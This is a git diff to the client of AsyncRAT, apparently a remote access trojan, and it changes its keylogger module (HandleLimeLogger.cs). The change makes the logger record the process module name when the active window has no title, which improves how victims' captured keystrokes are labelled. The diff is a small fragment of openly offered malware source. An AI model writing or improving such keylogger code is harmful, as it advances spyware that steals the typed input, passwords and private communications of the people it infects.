diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index 098b9f7..9c38d49 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -157,8 +157,11 @@ namespace Client.Handle_Packet IntPtr hwnd = GetForegroundWindow(); GetWindowThreadProcessId(hwnd, out uint pid); Process p = Process.GetProcessById((int)pid); - CurrentActiveWindowTitle = p.MainWindowTitle; - return p.MainWindowTitle; + string title = p.MainWindowTitle; + if (string.IsNullOrWhiteSpace(title)) + title = p.MainModule.ModuleName; + CurrentActiveWindowTitle = title; + return title; } catch (Exception) {